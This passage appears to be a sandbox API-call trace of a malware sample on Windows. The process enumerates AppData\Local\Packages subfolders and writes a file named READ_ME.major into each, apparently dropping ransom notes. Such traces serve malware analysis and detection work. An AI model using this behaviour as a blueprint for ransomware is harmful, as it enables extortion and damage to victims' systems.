"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.530] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.531] CloseHandle (hObject=0x8a8) returned 1 [0185.531] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.531] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.533] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.534] CloseHandle (hObject=0x8a8) returned 1 [0185.534] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.534] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.535] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.536] CloseHandle (hObject=0x8a8) returned 1 [0185.536] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220b391c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x220b391c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.536] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.537] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.538] CloseHandle (hObject=0x8a8) returned 1 [0185.538] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.538] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.539] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.540] CloseHandle (hObject=0x8a8) returned 1 [0185.540] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.540] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.541] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.660] CloseHandle (hObject=0x8a8) returned 1 [0185.660] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.660] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.661] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.661] CloseHandle (hObject=0x8a8) returned 1 [0185.661] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.662] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc92abfb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6613f0 [0185.662] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc92abfb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.662] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a49a72f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x987efe85, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.662] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0185.663] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.664] CloseHandle (hObject=0x8ac) returned 1 [0185.664] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a44e278, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x332cdbf2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x332cdbf2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.664] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0185.664] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.665] CloseHandle (hObject=0x8ac) returned 1 [0185.665] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a428010, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcd4e0f7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a428010, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.665] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0185.831] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.860] CloseHandle (hObject=0x8ac) returned 1 [0185.860] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x333666b9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x333666b9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.860] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0186.402] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0186.414] CloseHandle (hObject=0x8ac) returned 1 [0186.414] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220b391c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x220b391c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0186.414] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcd4e21af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a401dd0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0186.414] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0186.415] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0186.416] CloseHandle (hObject=0x8ac) returned 1 [0186.416] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a428010, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0186.416] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0186.426] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0186.427] CloseHandle (hObject=0x8ac) returned 1 [0186.427] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc4fe9ef, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdc4fe9ef, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc4fe9ef, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0186.427] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0186.453] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0186.454] CloseHandle (hObject=0x8ac) returned 1 [0186.454] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc702c704, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc702c704, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0186.454] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0186.455] WriteFile (in: hFile=0x8ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0186.456] CloseHandle (hObject=0x8ac) returned 1 [0186.456] FindNextFileW (in: hFindFile=0x6613f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc702c704, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc702c704, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0186.456] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661230 [0186.456] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2220af08, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0186.456] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x319a2f42, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33556550, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33556550, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0186.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0187.109] WriteFile (in: hFile=0x8b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0187.110] CloseHandle (hObject=0x8b0) returned 1 [0187.110] FindNextFileW (in: hFindFile=0x661230, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31930880, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd5fac32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31930880, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0187.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 